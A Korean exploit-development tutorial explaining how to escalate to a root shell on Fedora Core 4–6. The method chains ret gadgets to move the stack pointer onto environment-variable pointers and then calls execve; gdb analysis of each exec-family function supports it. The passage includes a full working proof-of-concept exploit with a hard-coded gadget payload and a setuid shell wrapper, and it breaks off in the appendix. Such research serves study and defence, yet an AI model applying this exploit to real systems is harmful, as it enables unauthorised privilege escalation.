------------------------------------------------------------------------------------------------------ 제목: Fedora Core 4,5,6 내에서 local 스택 기반 overflow exploit 방법 #2 (Fedora Core 4,5,6 based local environment stack overflow exploit method) 부제: ret(pop %eip) 코드와 환경 변수를 이용한 local 공격 기법 테스트 환경: Fedora Core release 4 (Stentz) Linux 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 Fedora Core release 5 (Bordeaux) Linux 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 Fedora Core release 6 (Zod) Linux 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 작성자: 유동훈 - Xpl017Elz http://x82.inetcop.org ------------------------------------------------------------------------------------------------------ 0) 공격 기법을 소개하기 전에, 우선 잡담부터~ POC 2006 컨퍼런스때 시간 상 생략했던 local buffer overflow 공격 기법을 추가로 설명하도록 하겠다. 이 공격 기법은 "Fedora Core 4,5,6 내에서 local 스택 기반 overflow exploit 방법" 문서에서 소개하고 있는 ret(pop %eip) 공격 기법을 기반으로 하고 있다. 해당 기법을 모르고 있다면, ret(pop %eip) 코드를 이용한 공격 기법을 먼저 익힌 후 읽어주길 바란다. 이 방법이 실제 exploit 시, 얼마나 활용도가 있을진 미지수이다. 그래서, 나는 POC 2006 컨퍼런스에서 과감히 이 부분을 생략했다. 사실, 생략이라기 보다는 발표 시간을 고려하여 준비하지 않은 것이다. 늦게나마 이렇게 공격 기법에 대한 문서를 정리할 수 있어서 다행이라 생각한다. 이 idea는 내가 예전에 man local exploit을 작성할 때 개발했던 것으로, 몇 가지 test code를 대상으로 시험해본 결과, ret(pop %eip) 코드를 많이 입력할 수 있는 조건 하에 시도 가능한 공격 기법이다. 그럼, 왜 실제 exploit 시 활용도가 떨어지는 것일까? 그 이유는 실제 application의 공격 대상 지역 변수가 argument 포인터, 환경 변수 포인터들과 가까이 있지 않기 때문이다. 즉, 다시 말하자면 argument 포인터, 환경 변수 포인터들과 거리가 먼 프레임 내의 취약점 발생률이 더 높기 때문이다. 어떤 프로그래머가 자신의 프로그램 main() 함수 내에서 stack overflow가 발생하는 것을 방관하겠는가? 또한, stack에 할당되는 각 프레임의 크기도 일반 test code보다 훨씬 더 큰 size를 갖는다. 규모가 있는 프로젝트의 application 이라면, stack에 할당된 지역 변수들이 많은 것은 더욱 당연할 것이다. 우리는 프로그램 실행 파일 인자와 관련된 %esp 레지스터를 직접 옮기지 못하기 때문에, ret(pop %eip)와 같은 코드를 이용하여 4byte 씩 이동할 수 밖에 없다. 이 때문에 현재 사용 중인 stack과 argument, 환경 변수 포인터와의 거리가 멀다면, 사실 상의 공격은 힘들다고 판단해야 한다. 실제 application을 공격할 때는 이전에 소개했던 symlink 방식 이용을 권장하는 바이다. 1) ret(pop %eip) 코드와 환경 변수를 이용한 local 공격 이론 하지만, 앞서 설명했던 경우와 다르게 argument 포인터, 환경 변수 포인터와 매우 가까이 있는 프레임 내의 지역 변수에서 취약점이 발생한다면 이야기는 달라진다. 이런 경우에는 ret(pop %eip) 코드를 통해 4byte씩 이동하여 환경 변수 포인터가 있는 위치까지 %esp 레지스터를 옮길 수 있다. 이전에 설명하였던 ret(pop %eip) 코드 symlink 조합 공격은 stack에 있는 값들을 그대로 활용하는 방법이었지만, 이번 공격은 exec 계열 함수의 인자 값을 환경 변수를 통해 직접 정해주는 방법이라 할 수 있다. 공격의 완성도로 따지자면, 이번에 소개하는 방식이 한수 위의 공격 기법이지만, 실제 application을 공격하는데 활용되었다면 더 좋지 않았을까 아쉬움이 남는다. 그럼, 먼저 argument 포인터와 환경 변수 포인터 구조에 대해 알아보도록 하겠다. 2) argument 포인터, 환경 변수 포인터 분석 argument 포인터와 환경 변수 포인터는 각 데이터를 가리키는 포인터가 반복된 배열 형태로 구성되어 있다. 이러한 argument 포인터, 환경 변수 포인터의 끝에는 항상 null(0x00000000)을 붙으며, 이를 통해 배열의 끝인지 구분한다. 추상적으로 도식화한 모양은 다음과 같다. ------------------------------------------------------------------------------------------------------ ^ | 스택이 커지는 방향 ... +---------------------+ | argument0 pointer |: argument 시작. +---------------------+ | argument1 pointer | +---------------------+ | null (0x00000000) |: argument 끝. +---------------------+ | environ0 pointer |: environment 시작. +---------------------+ | environ1 pointer | +---------------------+ | null (0x00000000) |: environment 끝. +---------------------+ ... | 주소가 커지는 방향 V ------------------------------------------------------------------------------------------------------ 위의 경우, 사용된 argumnent는 두 개이며, 두 개의 환경 변수가 입력된 것을 볼 수 있다. 실제 다음과 같이 구성되어 있다. ------------------------------------------------------------------------------------------------------ [root@localhost exec]# cat vuln.c int main(int argc,char *argv[]) { char buf[8]; strcpy(buf,argv[1]); // 취약 } [root@localhost exec]# cat test.c int main() { char *environ[]={ "environ0", "environ1", 0}; char *argument[]={ "argument0", "argument1argument1", // 임시 debugging을 위해 0}; execve("./vuln",argument,environ); } [root@localhost exec]# gcc -o test test.c [root@localhost exec]# gdb -q test ... (gdb) r Starting program: /home/x82/test (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x6e656d75 in ?? () (gdb) x/6x $esp+132 0xfef9b334: 0xfefcdfc6 0xfefcdfd0 0x00000000 0xfefcdfe3 0xfef9b344: 0xfefcdfec 0x00000000 (gdb) x/s 0xfefcdfc6 0xfefcdfc6: "argument0" <=== 첫 번째 argument (원래는 실행하는 프로그램 경로) (gdb) x/s 0xfefcdfd0 0xfefcdfd0: "argument1argument1" <=== 두 번째 argument (gdb) x/s 0xfefcdfe3 0xfefcdfe3: "environ0" <=== 첫 번째 환경 변수 (gdb) x/s 0xfefcdfec 0xfefcdfec: "environ1" <=== 두 번째 환경 변수 (gdb) ------------------------------------------------------------------------------------------------------ 임의로 argument 두 개와 환경 변수 두 개를 만들어 보았다. 앞서 설명했던데로, 각 포인터 배열 뒤에는 null(0x00000000)이 붙는 것을 볼 수 있다. 그럼 이번에는, exec 계열 함수들을 분석해보도록 하겠다. 지금부터 exec 계열 함수들이 프로그램 인자를 어떻게 핸들링하는지 자세히 분석하길 바란다. 3) exec 계열 함수 분석 그럼, 지금부터 man page에 나오는 순서대로 exec 계열 함수(일명 exec family라 부름)들을 분석해보도록 하겠다. (참고로, 분석은 Fedora core 4 시스템에서 시험 했음을 밝힌다.) ------------------------------------------------------------------------------------------------------ NAME execl, execlp, execle, execv, execvp - execute a file SYNOPSIS #include extern char **environ; int execl(const char *path, const char *arg, ...); - 인자 3개 필요 int execlp(const char *file, const char *arg, ...); - 인자 3개 필요 int execle(const char *path, const char *arg , ..., char * const envp[]); - 인자 3개 이상 필요 int execv(const char *path, char *const argv[]); - 인자 2개 필요 int execvp(const char *file, char *const argv[]); - 인자 2개 필요 ... int execve(const char *filename, char *const argv [], char *const envp[]); - 인자 3개 필요 exec 계열 함수에 붙는 뜻 해석: l: 인자를 list 형태로 전달. v: 인자를 vector 형태로 전달. (배열 형태) e: 환경 변수를 전달. p: 실행 파일의 경로를 PATH 변수에서 참조하여 실행 ------------------------------------------------------------------------------------------------------ 분석 결과 중, 주의깊게 관찰해야 할 것은, %esp 레지스터를 기준으로한 exec 계열 함수의 명령 위치이다. debug 분석 결과를 토대로, exploit을 작성할 것이니 잘 살펴보길 바란다. 3-1) execl() 라이브러리 함수 분석 execl() 함수는 인자를 list 형태로 전달하는 라이브러리 제공 함수이다. 실제 execl() 함수 내부에서는 execve() 함수를 호출하고 있으며, execl() 함수 진입 직후, %esp+4, execve() 진입 직전, %esp+0x1030 위치를 참조하여 execve() 함수의 첫 번째 명령 인자를 얻어온다. 예제 코드: execl("/bin/sh","sh",0); 또는, execl("/bin/sh","sh","-c","ls",0); ----------------------------------------------------------------------------------------------------- execl() 함수 진입 직후, %esp+4 위치부터 첫 번째 인자가 들어감. 함수 프롤로그가 지난 후, ~~~~~~~~~~~ 0x007a245c : push %ebp 0x007a245d : push %edi 0x007a245e : push %esi 0x007a245f : push %ebx 0x007a2460 : sub $0x101c,%esp 이 지점으로 오면, %esp+0x1030 위치에 앞서 설명한 첫 번째 인자 값이 들어있음. ~~~~~~~~~~~~~~~~ 0x007a2525 : mov 0xfffffec0(%ebx),%eax 0x007a252b : mov (%eax),%eax 0x007a252d : mov %eax,0x8(%esp) <=== execve() 함수 세 번째 인자 0x007a2531 : mov 0x14(%esp),%eax 0x007a2535 : mov %eax,0x4(%esp) <=== execve() 함수 두 번째 인자 0x007a2539 : mov 0x1030(%esp),%eax 0x007a2540 : mov %eax,(%esp) <=== execve() 함수 첫 번째 인자 0x007a2543 : call 0x7a21ac ... Breakpoint 1, 0x0019e45c in execl () from /lib/libc.so.6 (gdb) x $esp <=== execl()+0 진입 직후 stack pointer 0xbf83b63c: 0x080483ac (gdb) 0xbf83b640: 0x0804845b <=== execl() 함수 첫 번째 인자 (%esp+4 위치) (gdb) 0xbf83b644: 0x08048458 <=== execl() 함수 두 번째 인자 (%esp+8 위치) (gdb) 0xbf83b648: 0x00000000 <=== execl() 함수 세 번째 인자 (%esp+12 위치) (gdb) c Continuing. Breakpoint 2, 0x0019e466 in execl () from /lib/libc.so.6 (gdb) x/x $esp+0x1030 <=== execve() 함수를 부르기 직전 stack pointer 0xbf83b640: 0x0804845b <=== execl() 함수 첫 번째 인자 (gdb) 0xbf83b644: 0x08048458 <=== execl() 함수 두 번째 인자 (gdb) 0xbf83b648: 0x00000000 <=== execl() 함수 세 번째 인자 (gdb) ------------------------------------------------------------------------------------------------------ 3-2) execle() 라이브러리 함수 분석 execle() 함수는 환경 변수와 함께 인자를 list 형태로 전달하는 라이브러리 제공 함수이다. 실제 execle() 함수 내부에서는 execve() 함수를 호출하고 있으며, execle() 함수 진입 직후, %esp+4, execve() 진입 직전, %esp+0x1030 위치를 참조하여 execve() 함수의 첫 번째 명령 인자를 얻어온다. 예제 코드: execle("./sh",0,0); 또는, execle("/bin/sh","sh","-c","ls",env); (실제 exploit 시, argument를 핸들링 하지 않는 sh 프로그램을 준비해두면 문제없이, shell을 실행할 수 있다.) ------------------------------------------------------------------------------------------------------ execle() 함수 진입 직후, %esp+4 위치부터 첫 번째 인자가 들어감. 함수 프롤로그가 지난 후, ~~~~~~~~~~~ 0x007a2308 : push %ebp 0x007a2309 : push %edi 0x007a230a : push %esi 0x007a230b : push %ebx 0x007a230c : sub $0x101c,%esp 이 지점으로 오면, %esp+0x1030 위치에 앞서 설명한 첫 번째 인자 값이 들어있음. ~~~~~~~~~~~~~~~~ 0x007a23d5 : mov 0x1018(%esp),%edx 0x007a23dc : lea 0x4(%edx),%eax 0x007a23df : mov %eax,0x1018(%esp) 0x007a23e6 : mov (%edx),%eax 0x007a23e8 : mov %eax,0x8(%esp) <=== execve() 함수 세 번째 인자 0x007a23ec : mov 0x14(%esp),%eax 0x007a23f0 : mov %eax,0x4(%esp) <=== execve() 함수 두 번째 인자 0x007a23f4 : mov 0x1030(%esp),%eax 0x007a23fb : mov %eax,(%esp) <=== execve() 함수 첫 번째 인자 0x007a23fe : call 0x7a21ac ... Breakpoint 8, 0x007a2308 in execle () from /lib/libc.so.6 (gdb) x/x $esp <=== execle()+0 진입 직후 stack pointer 0xbfccf7dc: 0x080483b6 (gdb) 0xbfccf7e0: 0x08048469 <=== execle() 함수 첫 번째 인자 (%esp+4 위치) (gdb) 0xbfccf7e4: 0x00000000 <=== execle() 함수 두 번째 인자 (%esp+8 위치) (gdb) 0xbfccf7e8: 0x00000000 <=== execle() 함수 세 번째 인자 (%esp+12 위치) (gdb) c Continuing. Breakpoint 1, 0x007a23e6 in execle () from /lib/libc.so.6 (gdb) x/x $esp+0x1030 <=== execve() 함수를 부르기 직전 stack pointer 0xbfccf7e0: 0x08048469 <=== execle() 함수 첫 번째 인자 (gdb) 0xbfccf7e4: 0x00000000 <=== execle() 함수 두 번째 인자 (gdb) 0xbfccf7e8: 0x00000000 <=== execle() 함수 세 번째 인자 (gdb) ------------------------------------------------------------------------------------------------------ 3-3) execlp() 라이브러리 함수 분석 execlp() 함수는 $PATH 환경 변수를 참조하며, 인자를 list 형태로 전달하는 라이브러리 제공 함수이다. 실제 execlp() 함수 내부에서는 execvp() 함수 -> execve() 함수를 호출하고 있으며, execlp() 함수 진입 직후, %esp+4, execvp() 진입 직전, %esp+0x1030 위치를 참조하여 execvp() 함수의 첫 번째 명령 인자를 얻어온다. (참고로, 실제 $PATH 환경 변수를 참조하는 것은 execvp() 함수이다.) 예제 코드: execlp("ls","ls","-al",0); 또는, execlp("sh","sh","-c","ls",0); ------------------------------------------------------------------------------------------------------ execlp() 함수 진입 직후, %esp+4 위치부터 첫 번째 인자가 들어감. 함수 프롤로그가 지난 후, ~~~~~~~~~~~ 0x007a2978 : push %ebp 0x007a2979 : push %edi 0x007a297a : push %esi 0x007a297b : push %ebx 0x007a297c : sub $0x101c,%esp 이 지점으로 오면, %esp+0x1030 위치에 앞서 설명한 첫 번째 인자 값이 들어있음. ~~~~~~~~~~~~~~~~ 0x007a2a23 : mov 0x14(%esp),%edx 0x007a2a27 : cmp %edx,0x10(%esp) 0x007a2a2b : je 0x7a2a6b 0x007a2a2d : mov %edi,0x14(%esp) 0x007a2a31 : mov %esi,%ecx 0x007a2a33 : jmp 0x7a29cc 0x007a2a35 : mov %edx,%eax <=== 인자 list 시작 포인터를 %eax 레지스터 복사 0x007a2a37 : mov %eax,0x4(%esp) <=== execvp() 함수 두 번째 인자 0x007a2a3b : mov 0x1030(%esp),%eax 0x007a2a42 : mov %eax,(%esp) <=== execvp() 함수 첫 번째 인자 0x007a2a45 : call 0x7a25a0 ... Breakpoint 1, 0x0019e978 in execlp () from /lib/libc.so.6 (gdb) x/x $esp <=== execlp()+0 진입 직후 stack pointer 0xbfecb99c: 0x080483ae (gdb) 0xbfecb9a0: 0x0804845c <=== execlp() 함수 첫 번째 인자 (%esp+4 위치): ls (gdb) 0xbfecb9a4: 0x0804845c <=== execlp() 함수 두 번째 인자 (%esp+8 위치): ls (gdb) 0xbfecb9a8: 0x08048458 <=== execlp() 함수 세 번째 인자 (%esp+12 위치): -al (gdb) 0xbfecb9ac: 0x00000000 <=== execlp() 함수 네 번째 인자 (%esp+16 위치): 0 (gdb) c Continuing. Breakpoint 2, 0x0019ea45 in execlp () from /lib/libc.so.6 (gdb) x/x $esp+0x1030 <=== execve() 함수를 부르기 직전 stack pointer 0xbfecb9a0: 0x0804845c <=== execlp() 함수 첫 번째 인자 (gdb) 0xbfecb9a4: 0x0804845c <=== execlp() 함수 두 번째 인자 (gdb) 0xbfecb9a8: 0x08048458 <=== execlp() 함수 세 번째 인자 (gdb) 0xbfecb9ac: 0x00000000 <=== execlp() 함수 네 번째 인자 (gdb) (gdb) x/x $esp 0xbfeca970: 0x0804845c <=== execvp() 함수 첫 번째 인자 (gdb) 0xbfeca974: 0xbfeca988 <=== execvp() 함수 두 번째 인자 (gdb) ------------------------------------------------------------------------------------------------------ 3-4) execv() 라이브러리 함수 분석 execv() 함수는 인자를 배열 형태로 전달하는 라이브러리 제공 함수이다. 실제 execv() 함수 내부에서는 execve() 함수를 호출하고 있으며, execv() 함수 진입 직후, %esp+4, execve() 함수 진입 직전, %esp+0x14 위치를 참조하여 execve() 함수의 첫 번째 명령 인자를 얻어온다. 예제 코드: execv("./sh",0); 또는, char *args[]={"sh","-c","ls",0}; execv("/bin/sh",args); (실제 exploit 시, argument를 핸들링 하지 않는 sh 프로그램을 준비해두면 문제없이, shell을 실행할 수 있다.) ------------------------------------------------------------------------------------------------------ execv() 함수 진입 직후, %esp+4 위치부터 첫 번째 인자가 들어감. 함수 프롤로그가 지난 후, ~~~~~~~~~~~ 0x007a22d4 : push %ebx 0x007a22d5 : sub $0xc,%esp 이 지점으로 오면, %esp+0x14 위치에 앞서 설명한 첫 번째 인자 값이 들어있음. ~~~~~~~~~~~~~~ 0x007a22e9 : mov (%eax),%eax 0x007a22eb : mov %eax,0x8(%esp) <=== execve() 함수 세 번째 인자 0x007a22ef : mov 0x18(%esp),%eax 0x007a22f3 : mov %eax,0x4(%esp) <=== execve() 함수 두 번째 인자 0x007a22f7 : mov 0x14(%esp),%eax 0x007a22fb : mov %eax,(%esp) <=== execve() 함수 첫 번째 인자 0x007a22fe : call 0x7a21ac ... Breakpoint 8, 0x0019e2d4 in execv () from /lib/libc.so.6 (gdb) x/x $esp <=== execv()+0 진입 직후 stack pointer 0xbfe26e4c: 0x080483a7 (gdb) 0xbfe26e50: 0x08048450 <=== execv() 함수 첫 번째 인자 (%esp+4 위치) (gdb) 0xbfe26e54: 0x00000000 <=== execv() 함수 두 번째 인자 (%esp+8 위치) (gdb) c Continuing. Breakpoint 1, 0x0019e2e9 in execv () from /lib/libc.so.6 (gdb) x/x $esp+0x14 <=== execve() 함수를 부르기 전 stack pointer 0xbfe26e50: 0x08048450 <=== execv() 함수 첫 번째 인자 (gdb) x/x $esp+0x18 0xbfe26e54: 0x00000000 <=== execv() 함수 두 번째 인자 (gdb) ------------------------------------------------------------------------------------------------------ 3-5) execvp() 라이브러리 함수 분석 execvp() 함수는 인자를 배열 형태로 전달하면서, $PATH 환경 변수를 참조하여 실행하는 라이브러리 제공 함수이다. 실제 execvp() 함수 내부에서는 execve() 함수를 호출하고 있으며, execvp() 함수 진입 직후, %esp+4, execve() 함수 진입 직전, 첫 번째 인자가 절대 경로이거나 full path를 갖는 경우, %esp+0x40 위치를 참조하여 execve() 함수의 첫 번째 명령 인자를 얻어온다. 반면, execvp() 함수의 첫 번째 인자에 절대 경로나 full path를 입력하지 않은 경우, $PATH 환경 변수 내용을 참조하여 execve() 함수를 여러번 반복 호출한다. 예제 코드: execvp("./sh",0); 또는, char *args[]={"sh","-c","ls",0}; execvp("sh",args); (실제 exploit 시, argument를 핸들링 하지 않는 sh 프로그램을 준비해두면 문제없이, shell을 실행할 수 있다.) ------------------------------------------------------------------------------------------------------ execvp() 함수 진입 직후, %esp+4 위치부터 첫 번째 인자가 들어감. 함수 프롤로그가 지난 후, ~~~~~~~~~~~ 0x0019e5a0 : push %ebp 0x0019e5a1 : push %edi 0x0019e5a2 : push %esi 0x0019e5a3 : push %ebx 0x0019e5a4 : sub $0x2c,%esp execvp() 첫 번째 인자가 full path 또는, 절대 경로로 입력되었을 경우 다음 코드 수행을 통해 execve() 함수를 호출한다. %esp+0x40 위치에 앞서 설명한 첫 번째 인자 값이 들어있다. ~~~~~~~~~~~~~~ 0x0019e5f1 : mov 0xfffffec0(%ebx),%eax 0x0019e5f7 : mov (%eax),%eax 0x0019e5f9 : mov %eax,0x8(%esp) <=== execve() 함수 세 번째 인자 0x0019e5fd : mov 0x44(%esp),%ecx 0x0019e601 : mov %ecx,0x4(%esp) <=== execve() 함수 두 번째 인자 0x0019e605 : mov 0x40(%esp),%eax 0x0019e609 : mov %eax,(%esp) <=== execve() 함수 첫 번째 인자 0x0019e60c : call 0x19e1ac ... Breakpoint 1, 0x007a25a0 in execvp () from /lib/libc.so.6 (gdb) x/x $esp <=== execvp()+0 진입 직후 stack pointer 0xbfb7cd0c: 0x080483a7 (gdb) 0xbfb7cd10: 0x08048450 <=== execvp() 함수 첫 번째 인자 (%esp+4 위치) (gdb) 0xbfb7cd14: 0x00000000 <=== execvp() 함수 첫 번째 인자 (%esp+8 위치) (gdb) c Continuing. Breakpoint 2, 0x007a260c in execvp () from /lib/libc.so.6 (gdb) x/x $esp+0x40 <=== execve() 함수를 부르기 직전 stack pointer 0xbfb7cd10: 0x08048450 <=== execvp() 함수 첫 번째 인자 (gdb) 0xbfb7cd14: 0x00000000 <=== execvp() 함수 첫 번째 인자 (gdb) ------------------------------------------------------------------------------------------------------ 3-6) execve() 라이브러리 함수 분석 execve() 함수는 환경 변수와 함께 인자를 배열 형태로 전달하며, 시스템콜을 호출하는 라이브러리 제공 함수이다. 커널에서 제공하는 시스템콜 함수는 소프트웨어 인터럽트를 통해 각 레지스터에 있는 인자 값을 참조하여 명령을 실행한다. execve() 진입 직후, %esp+0x4, 소프트웨어 인터럽트 직전, %esp+0xc 위치를 참조하여 함수의 첫 번째 명령 인자를 얻어오며, %ebx, %ecx, %edx 순서로 인자를 저장하고 인터럽트한다. 예제 코드: execve("./sh",0,0); 또는, char *args[]={"sh","-c","ls",0}; execve("/bin/sh",args,env); (실제 exploit 시, argument를 핸들링 하지 않는 sh 프로그램을 준비해두면 문제없이, shell을 실행할 수 있다.) ------------------------------------------------------------------------------------------------------ execve() 함수 진입 직후, %esp+4 위치부터 첫 번째 인자가 들어감. 함수 프롤로그가 지난 후, ~~~~~~~~~~~ 0x007a21ac : push %edi 0x007a21ad : push %ebx 이 지점으로 오면, %esp+0xc 위치에 앞서 설명한 첫 번째 인자 값이 들어있음. ~~~~~~~~~~~~~ 0x007a21b9 : mov 0xc(%esp),%edi <=== execve() 함수 첫 번째 인자 0x007a21bd : mov 0x10(%esp),%ecx <=== execve() 함수 두 번째 인자 0x007a21c1 : mov 0x14(%esp),%edx <=== execve() 함수 세 번째 인자 0x007a21c5 : xchg %ebx,%edi 0x007a21c7 : mov $0xb,%eax 0x007a21cc : call *%gs:0x10 ... Breakpoint 1, 0x007a21ac in execve () from /lib/libc.so.6 (gdb) x/x $esp <=== execve()+0 진입 직후 stack pointer 0xbf99878c: 0x080483a9 (gdb) 0xbf998790: 0x08048454 <=== execve() 함수 첫 번째 인자 (%esp+4 위치) (gdb) 0xbf998794: 0x00000000 <=== execve() 함수 두 번째 인자 (%esp+8 위치) (gdb) 0xbf998798: 0x00000000 <=== execve() 함수 세 번째 인자 (%esp+12 위치) (gdb) c Continuing. Breakpoint 2, 0x007a21cc in execve () from /lib/libc.so.6 (gdb) x/x $esp+0x0c 0xbf998790: 0x08048454 <=== execve() 함수 첫 번째 인자 (gdb) 0xbf998794: 0x00000000 <=== execve() 함수 두 번째 인자 (gdb) 0xbf998798: 0x00000000 <=== execve() 함수 세 번째 인자 (gdb) ------------------------------------------------------------------------------------------------------ 지금까지 약간은 지겨운 듯한 exec 계열 함수 분석을 해보았다. 특징을 종합해보면, 함수 내부에서 대부분 execve() 라이브러리 함수를 호출하고 있고, 명령 인자를 %esp+4 위치에서 읽어온다는 점이다. 단지 인자 전달 형태와 환경 변수 지정 여부의 차이일 뿐, 대부분 비슷한 구조로 호출되고 있음을 알 수 있었다. 4) local exploit 시험 그렇다면, 이제 분석된 내용들을 토대로 local exploit을 작성해보도록 하겠다. 어떤 함수를 택하던 payload는 다음과 같을 것이다. 먼저, execve()와 같은 환경 변수 구성이 가능한 함수를 호출하여 각 명령 인자를 지정할 수 있도록 한다. 그 후, ret 코드를 이용하여, %esp 레지스터를 앞서 지정한 환경 변수 포인터가 있는 자리까지 이동시킨 후 exec 계열 함수를 호출하도록 한다. 다음은 execve() 함수로 공격하는 payload 예제이다. ------------------------------------------------------------------------------------------------------ 환경 변수 구성: +------------------+ | "./sh" |: execve() 함수의 첫 번째 인자가 됨 +------------------+ | '\0' |: execve() 함수의 두 번째 인자가 됨 +------------------+ | '\0' |: execve() 함수의 세 번째 인자가 됨 +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ payload 구성: 이제 우리는 execve() 함수를 환경 변수 포인터 8byte 이전 위치에 두기만 하면 된다. 그러면, execve() 함수가 호출되면서 %esp 레지스터 + 4byte 위치를 기준으로 우리가 구성해주었던 첫 번째 환경 변수 "./sh" 값을 execve() 함수의 첫 번째 인자로 인식한다. ^ | 스택이 커지는 방향 ... +------------------+ | buffer |: overflow 되는 지역 변수 +------------------+ | ret(pop %eip) |: 4byte씩 %esp 이동 +------------------+ | ret(pop %eip) | +------------------+ | ret(pop %eip) | +------------------+ | ret(pop %eip) | +------------------+ | ... | +------------------+ | execve() 함수 |: 환경 변수 포인터 - 8byte 위치 +------------------+ | null(0x00000000) |: argument pointer 끝 부분. +------------------+ | environ0 pointer |: 환경 변수 "./sh" 포인터 부분으로, execve() 함수의 첫 번째 인자가 됨 +------------------+ | environ1 pointer |: 환경 변수 null 포인터 부분으로, execve() 함수의 두 번째 인자가 됨 +------------------+ | environ2 pointer |: 환경 변수 null 포인터 부분으로, execve() 함수의 세 번째 인자가 됨 +------------------+ ... | 주소가 커지는 방향 V ------------------------------------------------------------------------------------------------------ exploit 시, 환경 변수 포인터를 사용하는 이유는 간단하다. 취약 프로그램 구조와 상관없이 exploit 작성이 편리하기 때문이다. 다만, debug 시에는 몇 가지 불편함이 따를 수 있다. 그래서 argument 포인터를 이용하여 debugging 시험을 하고, 실제 exploit을 작성할 때는 거리를 조정하여 환경 변수 포인터로 공격을 시도할 수 있다. 그럼, 이제 실제 공격 코드를 살펴보도록 하자. execve() 함수를 통해 공격하고 있으며, 취약 프로그램의 환경 변수를 핸들링하기 위해 execve() 함수를 사용하고 있다. 환경 변수에 null 코드를 5개 입력한 이유는 간단하다. 첫 번째 환경 변수 포인터 "./sh"를 지나서, 두 번째 환경 변수 포인터는 0x00000000 4byte의 null 값을 가져야 한다. 그렇기 때문에 null code 4byte를 연속해서 입력한 것이다. 그 다음 세 번째 환경 변수 포인터 값 역시 0x00000000 4byte의 null code를 가져야 하므로, null code 1byte를 더 입력하여 그 조건을 만족시켰다. ------------------------------------------------------------------------------------------------------ 공격 코드 실행 결과: [root@localhost exec]# cat > vuln.c /* Proof-of-Concept code */ #include int main(int argc,char *argv[]) { char buf[8]; strcpy(buf,argv[1]); return 0; } [root@localhost exec]# gcc -o vuln vuln.c [root@localhost exec]# cat > sh.c int main() { setuid(0); setgid(0); execl("/bin/sh","sh","-p",0); } [root@localhost exec]# gcc -o sh sh.c [root@localhost exec]# cat > 0x82-x_execve.c /* 0x82-x_execve.c */ int main() { char *environs[]={ "./sh", /* environ0: ./sh */ "\x00", /* environ1: 0x00000000 */ "\x00", /* environ2: 0x00000000 */ "\x00", /* environ3 */ "\x00", /* environ4 */ "\x00", /* environ5 */ 0}; /* ** execve()'s argument: ** -- ** execve("./sh",[null code pointer],[null code pointer]); */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08" /* ret code number: 38 */ "\xac\x21\x7a", /* execve() */ 0}; execve("./vuln",arguments,environs); } [root@localhost exec]# gcc -o x_execve x_execve.c [root@localhost exec]# ./x_execve sh-3.00# exit exit [root@localhost exec]# gdb 디버깅 결과: [root@localhost exec]# gdb x_execve -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r Starting program: /tmp/x_execve Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0x2a2000 (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb) x/7x $esp 0xbf9fde80: 0xbf9fffeb 0xbf9ffff0 0xbf9ffff1 0xbf9ffff2 0xbf9fde90: 0xbf9ffff3 0xbf9ffff4 0x00000000 (gdb) x/s 0xbf9fffeb 0xbf9fffeb: "./sh" <=== execve() 함수의 첫 번째 인자가 됨. (gdb) x/x 0xbf9ffff0 0xbf9ffff0: 0x00000000 <=== execve() 함수의 두 번째 인자가 됨. (gdb) x/x 0xbf9ffff1 0xbf9ffff1: 0x00000000 <=== execve() 함수의 세 번째 인자가 됨. (gdb) execve() 함수가 호출될 때, 인자는 다음과 같이 넣어질 것이다. 참고로, 두 번째 인자와 세 번째 인자는 null code를 포인터하고 있다. 또한, argument 포인터를 이용하여, 두 번째 인자와 세 번째 인자에 직접 null code를 넣어주어도 공격에 성공할 수 있다. execve("./sh",0xbf9ffff0,0xbf9ffff1); 또는, execve("./sh",0x00000000,0x00000000); ------------------------------------------------------------------------------------------------------ 위 결과와 같이 %esp 레지스터를 미리 구성한 환경 변수 포인터까지 옮길 수 있다. 지역 변수가 argument 포인터, 환경 변수 포인터와 가깝다면, 이것은 충분히 가능하다. 뿐만아니라, 앞서 exec 계열 함수 분석 내용과 같이 execve() 함수 뿐 아닌 모든 exec 계열 함수를 이용하여 공격할 수 있다. 나머지 공격 코드는 별첨 코드에 첨부하도록 하겠다. 5) real exploit 나는 아직까지 이 방법을 실제 application exploit에 적용해보지 못했다. 그것은 항상 진행되고 있으니, 여러분들이 이 문서를 읽을 때 쯤이면, 해당 취약점 exploit code를 개발하고 있을지도 모른다. 더 자세한 사항이 필요하다면, 메일 주길 바란다. 6) 결론 지금까지 설명한 공격 기법은 Fedora core 4 시스템 부터 최신 Fedora core 6까지 해당되는 내용이다. 아래 따로 첨부한 별첨 코드는 이들 시스템에서 시험되고 검증된 내용이다. 문서는 Fedora core 4 시스템에서 시험한 내용을 담고 있지만, 별첨 코드 exploit은 최신 Fedora core 6까지 시험해보았으니, 여러분들의 시스템에 맞게 수정한 후 사용하면 별 문제 없이 공격에 성공할 수 있을 것이다. 7) 별첨 코드 아래 별첨 코드들은 Fedora core 4에서 시험된 것들이며, ret code 갯수와 